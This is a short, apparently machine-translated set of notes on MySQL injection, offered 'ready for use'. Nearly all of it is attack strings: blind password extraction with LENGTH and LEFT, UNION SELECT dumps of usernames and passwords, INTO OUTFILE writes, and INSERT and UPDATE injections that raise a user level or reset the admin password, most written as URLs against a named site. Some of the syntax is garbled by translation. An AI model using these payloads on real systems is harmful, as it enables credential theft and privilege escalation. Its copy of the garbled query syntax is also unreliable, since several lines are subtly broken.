Introduction and improvement of MYSQL Injection Technology

The focus of SQL injection is to construct SQL statements. Only SQL statements can be used flexibly to construct the niubi injection string. After completing the course, I wrote some notes and made them ready for use at any time. I hope you have read the following content first.
The basic principle of SQL. The code in the note comes from the network.

=== Basic part ===

This Table query:
Http://www.bkjia.com/injection/user.php? Username = angel and LENGTH (password) = 6
Http://www.bkjia.com/injection/user.php? Username = angel and LEFT (password, 1) = m
 

Union statement:
Http://www.bkjia.com/injection/show.php? Id = 1 union select 1, username, password from user /*
Http://www.bkjia.com/injection/show.php? Id = union select 1, username, password from user /*
 

Export file:
Http://www.bkjia.com/injection/user.php? Username = angel into outfile c:/file.txt
Http://www.bkjia.com/injection/user.php? Username = or 1 = 1 into outfile c:/file.txt
Http://www.bkjia.com/injection/show.php? Id = union select 1, username, password from user into outfile c:/user.txt
 

Insert statement:
Insert INTO 'user' (userid, username, password, homepage, userlevel) VALUES (, $ username, $ password, $ homepage, 1 );
Construct homepage value: http://4ngel.net, 3 ')#
The SQL statement becomes: Insert INTO 'user' (userid, username, password, homepage, userlevel) VALUES (, angel, mypass, http://4ngel.net, 3') #, 1 );
 

Update statement:
First understand this SQL statement
Update user SET password = MD5 ($ password), homepage = $ homepage Where id = $ id
If the SQL statement is modified to the following format, the injection is implemented.

1: Change the homepage value
Http://4ngel.net, userlevel = 3
Then the SQL statement becomes
Update user SET password = mypass, homepage = http://4ngel.net, userlevel = 3 Where id =id id
Userlevel: user level

2: change the password value
Mypass) Where username = admin #
Then the SQL statement becomes
Update user SET password = MD5 (mypass) Where username = admin #), homepage = $ homepage Where id = $ id

3: Change the id value
Or username = admin
Then the SQL statement becomes
Update user SET password = MD5 ($ password), homepage = $ homepage Where id = or username = admin